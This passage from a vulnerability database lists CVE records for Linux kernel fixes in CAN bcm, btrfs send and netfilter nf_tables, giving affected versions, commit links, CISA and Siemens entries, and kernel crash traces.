kernel/exit.c:1031\n __do_sys_exit_group kernel/exit.c:1042 [inline]\n __se_sys_exit_group kernel/exit.c:1040 [inline]\n __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1040\n x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fcfb51ee969\nCode: Unable to access opcode bytes at 0x7fcfb51ee93f.\nRSP: 002b:00007ffce0109ca8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fcfb51ee969\nRDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000001\nRBP: 00007fcfb526f3b0 R08: ffffffffffffffb8 R09: 0000555500000000\nR10: 0000555500000000 R11: 0000000000000246 R12: 00007fcfb526f3b0\nR13: 0000000000000000 R14: 00007fcfb5271ee0 R15: 00007fcfb51bf160\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:16.115Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f5059fae5ed518fc56494ce5bdd4f5360de4b3bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/a833da8eec20b51af39643faa7067b25c8b20f3e"
        },
        {
          "url": "https://git.kernel.org/stable/c/5cc00913c1fdcab861c4e65fa20d1f1e1bbbf977"
        },
        {
          "url": "https://git.kernel.org/stable/c/9550baada4c8ef8cebefccc746384842820b4dff"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a145d6ec2124bdb94bd6fc436b342ff6ddf2b70"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3d941cc734e0c8dc486c062926d5249070af5e4"
        },
        {
          "url": "https://git.kernel.org/stable/c/770b463264426cc3c167b1d44efa85f6a526ce5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/b02ed2f01240b226570b4a19b5041d61f5125784"
        },
        {
          "url": "https://git.kernel.org/stable/c/94b0818fa63555a65f6ba107080659ea6bcca63e"
        }
      ],
      "title": "can: bcm: Clear bo-\u003ebcm_proc_read after remove_proc_entry().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47709",
    "datePublished": "2024-10-21T11:53:42.749Z",
    "dateReserved": "2024-09-30T16:00:12.947Z",
    "dateUpdated": "2026-05-12T11:58:36.645Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35935 (GCVE-0-2024-35935)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:52

Title

btrfs: send: handle path ref underflow in header iterate_inode_ref()

Summary

In the Linux kernel, the following vulnerability has been resolved: btrfs: send: handle path ref underflow in header iterate_inode_ref() Change BUG_ON to proper error handling if building the path buffer fails. The pointers are not printed so we don't accidentally leak kernel addresses.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/be2b6bcc936ae17f4…
https://git.kernel.org/stable/c/024529c27c8b4b273…
https://git.kernel.org/stable/c/4720d590c4cb5d9ff…
https://git.kernel.org/stable/c/2f6174fd4ccf403b4…
https://git.kernel.org/stable/c/9ae356c627b493323…
https://git.kernel.org/stable/c/c1363ed8867b81ea1…
https://git.kernel.org/stable/c/03938619a1e718b61…
https://git.kernel.org/stable/c/3c6ee34c6f9cd1280…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < be2b6bcc936ae17f42fff6494106a5660b35d8d3 (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < 024529c27c8b4b273325a169e078337c8279e229 (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < 4720d590c4cb5d9ffa0060b89743651cc7e995f9 (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < 2f6174fd4ccf403b42b3d5f0d1b6b496a0e5330a (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < 9ae356c627b493323e1433dcb27a26917668c07c (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < c1363ed8867b81ea169fba2ccc14af96a85ed183 (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < 03938619a1e718b6168ae4528e1b0f979293f1a5 (git) Affected: 31db9f7c23fbf7e95026143f79645de6507b583b , < 3c6ee34c6f9cd12802326da26631232a61743501 (git)
Linux	Linux	Affected: 3.6 Unaffected: 0 , < 3.6 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.026Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/be2b6bcc936ae17f42fff6494106a5660b35d8d3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/024529c27c8b4b273325a169e078337c8279e229"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4720d590c4cb5d9ffa0060b89743651cc7e995f9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2f6174fd4ccf403b42b3d5f0d1b6b496a0e5330a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9ae356c627b493323e1433dcb27a26917668c07c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c1363ed8867b81ea169fba2ccc14af96a85ed183"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03938619a1e718b6168ae4528e1b0f979293f1a5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3c6ee34c6f9cd12802326da26631232a61743501"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35935",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:40:55.413538Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:15.162Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:59.125Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/send.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "be2b6bcc936ae17f42fff6494106a5660b35d8d3",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "024529c27c8b4b273325a169e078337c8279e229",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "4720d590c4cb5d9ffa0060b89743651cc7e995f9",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "2f6174fd4ccf403b42b3d5f0d1b6b496a0e5330a",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "9ae356c627b493323e1433dcb27a26917668c07c",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "c1363ed8867b81ea169fba2ccc14af96a85ed183",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "03938619a1e718b6168ae4528e1b0f979293f1a5",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            },
            {
              "lessThan": "3c6ee34c6f9cd12802326da26631232a61743501",
              "status": "affected",
              "version": "31db9f7c23fbf7e95026143f79645de6507b583b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/send.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.6"
            },
            {
              "lessThan": "3.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: send: handle path ref underflow in header iterate_inode_ref()\n\nChange BUG_ON to proper error handling if building the path buffer\nfails. The pointers are not printed so we don\u0027t accidentally leak kernel\naddresses."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:03.165Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/be2b6bcc936ae17f42fff6494106a5660b35d8d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/024529c27c8b4b273325a169e078337c8279e229"
        },
        {
          "url": "https://git.kernel.org/stable/c/4720d590c4cb5d9ffa0060b89743651cc7e995f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f6174fd4ccf403b42b3d5f0d1b6b496a0e5330a"
        },
        {
          "url": "https://git.kernel.org/stable/c/9ae356c627b493323e1433dcb27a26917668c07c"
        },
        {
          "url": "https://git.kernel.org/stable/c/c1363ed8867b81ea169fba2ccc14af96a85ed183"
        },
        {
          "url": "https://git.kernel.org/stable/c/03938619a1e718b6168ae4528e1b0f979293f1a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c6ee34c6f9cd12802326da26631232a61743501"
        }
      ],
      "title": "btrfs: send: handle path ref underflow in header iterate_inode_ref()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35935",
    "datePublished": "2024-05-19T10:10:42.319Z",
    "dateReserved": "2024-05-17T13:50:33.130Z",
    "dateUpdated": "2026-05-12T11:52:59.125Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36005 (GCVE-0-2024-36005)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:48 – Updated: 2026-05-12 11:53

Title

netfilter: nf_tables: honor table dormant flag from netdev release event path

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: honor table dormant flag from netdev release event path Check for table dormant flag otherwise netdev release event path tries to unregister an already unregistered hook. [524854.857999] ------------[ cut here ]------------ [524854.858010] WARNING: CPU: 0 PID: 3386599 at net/netfilter/core.c:501 __nf_unregister_net_hook+0x21a/0x260 [...] [524854.858848] CPU: 0 PID: 3386599 Comm: kworker/u32:2 Not tainted 6.9.0-rc3+ #365 [524854.858869] Workqueue: netns cleanup_net [524854.858886] RIP: 0010:__nf_unregister_net_hook+0x21a/0x260 [524854.858903] Code: 24 e8 aa 73 83 ff 48 63 43 1c 83 f8 01 0f 85 3d ff ff ff e8 98 d1 f0 ff 48 8b 3c 24 e8 8f 73 83 ff 48 63 43 1c e9 26 ff ff ff <0f> 0b 48 83 c4 18 48 c7 c7 00 68 e9 82 5b 5d 41 5c 41 5d 41 5e 41 [524854.858914] RSP: 0018:ffff8881e36d79e0 EFLAGS: 00010246 [524854.858926] RAX: 0000000000000000 RBX: ffff8881339ae790 RCX: ffffffff81ba524a [524854.858936] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff8881c8a16438 [524854.858945] RBP: ffff8881c8a16438 R08: 0000000000000001 R09: ffffed103c6daf34 [524854.858954] R10: ffff8881e36d79a7 R11: 0000000000000000 R12: 0000000000000005 [524854.858962] R13: ffff8881c8a16000 R14: 0000000000000000 R15: ffff8881351b5a00 [524854.858971] FS: 0000000000000000(0000) GS:ffff888390800000(0000) knlGS:0000000000000000 [524854.858982] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [524854.858991] CR2: 00007fc9be0f16f4 CR3: 00000001437cc004 CR4: 00000000001706f0 [524854.859000] Call Trace: [524854.859006] <TASK> [524854.859013] ? __warn+0x9f/0x1a0 [524854.859027] ? __nf_unregister_net_hook+0x21a/0x260 [524854.859044] ? report_bug+0x1b1/0x1e0 [524854.859060] ? handle_bug+0x3c/0x70 [524854.859071] ? exc_invalid_op+0x17/0x40 [524854.859083] ? asm_exc_invalid_op+0x1a/0x20 [524854.859100] ? __nf_unregister_net_hook+0x6a/0x260 [524854.859116] ? __nf_unregister_net_hook+0x21a/0x260 [524854.859135] nf_tables_netdev_event+0x337/0x390 [nf_tables] [524854.859304] ? __pfx_nf_tables_netdev_event+0x10/0x10 [nf_tables] [524854.859461] ? packet_notifier+0xb3/0x360 [524854.859476] ? _raw_spin_unlock_irqrestore+0x11/0x40 [524854.859489] ? dcbnl_netdevice_event+0x35/0x140 [524854.859507] ? __pfx_nf_tables_netdev_event+0x10/0x10 [nf_tables] [524854.859661] notifier_call_chain+0x7d/0x140 [524854.859677] unregister_netdevice_many_notify+0x5e1/0xae0

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/e4bb6da24de336a78…
https://git.kernel.org/stable/c/5c45feb3c288cf44a…
https://git.kernel.org/stable/c/13ba94f6cc820fdea…
https://git.kernel.org/stable/c/8260c980aee7d8d8a…
https://git.kernel.org/stable/c/ca34c40d1c22c555f…
https://git.kernel.org/stable/c/8e30abc9ace4f0add…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d54725cd11a57c30f650260cfb0a92c268bdc3e0 , < e4bb6da24de336a7899033a65490ed2d892efa5b (git) Affected: d54725cd11a57c30f650260cfb0a92c268bdc3e0 , < 5c45feb3c288cf44a529e2657b36c259d86497d2 (git) Affected: d54725cd11a57c30f650260cfb0a92c268bdc3e0 , < 13ba94f6cc820fdea15efeaa17d4c722874eebf9 (git) Affected: d54725cd11a57c30f650260cfb0a92c268bdc3e0 , < 8260c980aee7d8d8a3db39faf19c391d2f898816 (git) Affected: d54725cd11a57c30f650260cfb0a92c268bdc3e0 , < ca34c40d1c22c555fa7f4a21a1c807fea7290a0a (git) Affected: d54725cd11a57c30f650260cfb0a92c268bdc3e0 , < 8e30abc9ace4f0add4cd761dfdbfaebae5632dd2 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36005",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:11:00.848539Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:47:43.082Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.366Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e4bb6da24de336a7899033a65490ed2d892efa5b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5c45feb3c288cf44a529e2657b36c259d86497d2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13ba94f6cc820fdea15efeaa17d4c722874eebf9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8260c980aee7d8d8a3db39faf19c391d2f898816"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ca34c40d1c22c555fa7f4a21a1c807fea7290a0a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e30abc9ace4f0add4cd761dfdbfaebae5632dd2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:34.671Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nft_chain_filter.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e4bb6da24de336a7899033a65490ed2d892efa5b",
              "status": "affected",
              "version": "d54725cd11a57c30f650260cfb0a92c268bdc3e0",
              "versionType": "git"
            },
            {
              "lessThan": "5c45feb3c288cf44a529e2657b36c259d86497d2",
              "status": "affected",
              "version": "d54725cd11a57c30f650260cfb0a92c268bdc3e0",
              "versionType": "git"
            },
            {
              "lessThan": "13ba94f6cc820fdea15efeaa17d4c722874eebf9",
              "status": "affected",
              "version": "d54725cd11a57c30f650260cfb0a92c268bdc3e0",
              "versionType": "git"
            },
            {
              "lessThan": "8260c980aee7d8d8a3db39faf19c391d2f898816",
              "status": "affected",
              "version": "d54725cd11a57c30f650260cfb0a92c268bdc3e0",
              "versionType": "git"
            },
            {
              "lessThan": "ca34c40d1c22c555fa7f4a21a1c807fea7290a0a",
              "status": "affected",
              "version": "d54725cd11a57c30f650260cfb0a92c268bdc3e0",
              "versionType": "git"
            },
            {
              "lessThan": "8e30abc9ace4f0add4cd761dfdbfaebae5632dd2",
              "status": "affected",
              "version": "d54725cd11a57c30f650260cfb0a92c268bdc3e0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nft_chain_filter.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: honor table dormant flag from netdev release event path\n\nCheck for table dormant flag otherwise netdev release event path tries\nto unregister an already unregistered hook.\n\n[524854.857999] ------------[ cut here ]------------\n[524854.858010] WARNING: CPU: 0 PID: 3386599 at net/netfilter/core.c:501 __nf_unregister_net_hook+0x21a/0x260\n[...]\n[524854.858848] CPU: 0 PID: 3386599 Comm: kworker/u32:2 Not tainted 6.9.0-rc3+ #365\n[524854.858869] Workqueue: netns cleanup_net\n[524854.858886] RIP: 0010:__nf_unregister_net_hook+0x21a/0x260\n[524854.858903] Code: 24 e8 aa 73 83 ff 48 63 43 1c 83 f8 01 0f 85 3d ff ff ff e8 98 d1 f0 ff 48 8b 3c 24 e8 8f 73 83 ff 48 63 43 1c e9 26 ff ff ff \u003c0f\u003e 0b 48 83 c4 18 48 c7 c7 00 68 e9 82 5b 5d 41 5c 41 5d 41 5e 41\n[524854.858914] RSP: 0018:ffff8881e36d79e0 EFLAGS: 00010246\n[524854.858926] RAX: 0000000000000000 RBX: ffff8881339ae790 RCX: ffffffff81ba524a\n[524854.858936] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff8881c8a16438\n[524854.858945] RBP: ffff8881c8a16438 R08: 0000000000000001 R09: ffffed103c6daf34\n[524854.858954] R10: ffff8881e36d79a7 R11: 0000000000000000 R12: 0000000000000005\n[524854.858962] R13: ffff8881c8a16000 R14: 0000000000000000 R15: ffff8881351b5a00\n[524854.858971] FS:  0000000000000000(0000) GS:ffff888390800000(0000) knlGS:0000000000000000\n[524854.858982] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[524854.858991] CR2: 00007fc9be0f16f4 CR3: 00000001437cc004 CR4: 00000000001706f0\n[524854.859000] Call Trace:\n[524854.859006]  \u003cTASK\u003e\n[524854.859013]  ? __warn+0x9f/0x1a0\n[524854.859027]  ? __nf_unregister_net_hook+0x21a/0x260\n[524854.859044]  ? report_bug+0x1b1/0x1e0\n[524854.859060]  ? handle_bug+0x3c/0x70\n[524854.859071]  ? exc_invalid_op+0x17/0x40\n[524854.859083]  ? asm_exc_invalid_op+0x1a/0x20\n[524854.859100]  ? __nf_unregister_net_hook+0x6a/0x260\n[524854.859116]  ? __nf_unregister_net_hook+0x21a/0x260\n[524854.859135]  nf_tables_netdev_event+0x337/0x390 [nf_tables]\n[524854.859304]  ? __pfx_nf_tables_netdev_event+0x10/0x10 [nf_tables]\n[524854.859461]  ? packet_notifier+0xb3/0x360\n[524854.859476]  ? _raw_spin_unlock_irqrestore+0x11/0x40\n[524854.859489]  ? dcbnl_netdevice_event+0x35/0x140\n[524854.859507]  ? __pfx_nf_tables_netdev_event+0x10/0x10 [nf_tables]\n[524854.859661]  notifier_call_chain+0x7d/0x140\n[524854.859677]  unregister_netdevice_many_notify+0x5e1/0xae0"
        }
      ],
